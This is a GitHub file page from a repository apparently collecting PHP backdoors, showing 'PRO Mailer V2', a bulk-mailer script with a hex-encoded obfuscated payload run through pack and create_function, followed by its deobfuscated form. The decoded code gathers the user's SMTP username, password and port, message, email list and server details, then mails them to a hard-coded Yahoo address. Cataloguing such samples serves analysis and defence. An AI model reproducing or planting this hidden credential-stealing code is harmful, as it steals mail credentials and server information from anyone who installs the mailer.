PHPShellBackdoors/ProMailerV2.php at master · meme-lord/PHPShellBackdoors · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
/**
* PRO Mailer V2
* Source: https://pastebin.com/HnMUgbnt
* Receiver: msg9780@yahoo.co.id
**/
//Obfubuscated:
$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");
$smtp_conf=".";
for($i=0;$i<31;$i++){
  $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf);
}
$IsSMTP="pack";
$defaultport="H*";
echo $smtp_conf;
$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
$signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
return $signoff($smtp_conc);

//Deobfubuscated:
global $my_smtp;
global $smtp_username;
global $smtp_password;
global $ssl_port;
global $message;
global $emaillist;
$ra44  = rand(1,99999);
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$subj98 = "$my_smtp  [user ip : $c87]";
$subj58 = "Letter & Email List  [user ip : $c87]";
$email = "msg9780@yahoo.co.id";
$msg8873 = "$my_smtp\nuser:$smtp_username\npass:$smtp_password\port:$ssl_port\n\n$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$msg9780 = "$message\n\n\n$emaillist";$from="From: GRATIS";
mail($email, $subj98, $msg8873, $from);